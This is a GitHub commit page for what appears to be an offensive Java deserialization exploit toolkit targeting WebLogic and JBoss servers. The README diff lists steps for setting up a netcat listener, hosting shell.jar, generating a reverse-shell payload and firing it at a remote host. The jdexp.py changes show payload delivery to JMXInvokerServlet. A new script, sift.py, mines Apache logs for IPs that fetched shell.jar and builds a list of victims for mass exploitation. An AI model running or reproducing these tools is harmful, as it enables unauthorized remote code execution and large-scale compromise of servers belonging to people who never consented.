Skip to content

Commit a258e16

Browse files
committed
添加一些自己习惯的东西
1 parent 55e9f72 commit a258e16

8 files changed

Lines changed: 35 additions & 3 deletions

File tree

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@ optional arguments:
3838
Example:
3939
4040
▶ nc -vvlp 888
41+
▶ cp shell.jar /var/www/
4142
▶ java -jar reshell.jar [ReverseIP] 888 /tmp/payload
4243
▶ python jdexp.py -weblogic [RemoteIP] 7001 /tmp/payload
4344
▶ python jdexp.py -jboss [RemoteIP] 80 /tmp/payload

jdexp.py

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def flood (matrix, start):
3939

4040
if len(sys.argv) == 1:
4141
flood (m, (0, 0) )
42-
print '''\nusage: test.py [-h] [-jboss] [-weblogic] host port payload
42+
print '''\nusage: jdexp.py [-h] [-jboss] [-weblogic] host port payload
4343
4444
先用reshell.jar生成payload。
4545
@@ -79,7 +79,6 @@ def jboss():
7979
URL = args.host + ":" + args.port + "/invoker/JMXInvokerServlet"
8080
print 'sending payload...'
8181
requests.post(URL, data=payloadObj)
82-
8382

8483
def weblogic():
8584
# http://IP:7001/console/login/LoginForm.jsp
@@ -108,7 +107,6 @@ def weblogic():
108107
print 'sending payload...'
109108
sock.send(payload)
110109

111-
112110
if args.jboss!=True and args.weblogic!=True:
113111
print "至少输入一个目标类型吧?(-jboss, -weblogic)"
114112
if args.jboss==True:

old/DeserializeExploit.jar

45.1 MB
Binary file not shown.

old/reshell.jar

548 KB
Binary file not shown.

payload

1.6 KB
Binary file not shown.

reshell.jar

8 Bytes
Binary file not shown.

shell.jar

2.1 KB
Binary file not shown.

sift.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# encoding: utf-8
2+
# 自動從apache的日誌中篩選請求「shell.jar」的IP。
3+
# 然後嘛,批量上「jdexp.py」啦。
4+
5+
import os
6+
import re
7+
8+
os.system('cat /var/log/apache2/* | grep shell.jar > /tmp/tmp')
9+
# if os.path.exists('')
10+
file = open("/tmp/tmp")
11+
12+
for line in file.readlines():
13+
p = r'(?<![\.\d])(?:\d{1,3}\.){3}\d{1,3}(?![\.\d])'
14+
ip = re.findall(p, line)
15+
ip = ''.join(ip) # change list to str
16+
iplist = '/tmp/iplist'
17+
f = open(iplist, 'a')
18+
f.write(ip+'\n')
19+
f.close()
20+
21+
if os.path.exists('/tmp/iplist'):
22+
os.system('cat /root/JavaDeserialization/iplist /tmp/iplist |sort |uniq >/tmp/tmp')
23+
os.remove('/root/JavaDeserialization/iplist')
24+
os.system('mv /tmp/tmp /root/JavaDeserialization/iplist')
25+
else:
26+
print "ERROR: 没有找到请求shell.jar的IP。"
27+
28+
if os.path.exists('/tmp/iplist'):
29+
os.remove('/tmp/iplist')
30+
31+
print "\n JavaDeserialization\'s IP List: \n"
32+
os.system('cat /root/JavaDeserialization/iplist')
33+
print "\r"

0 commit comments

Comments
 (0)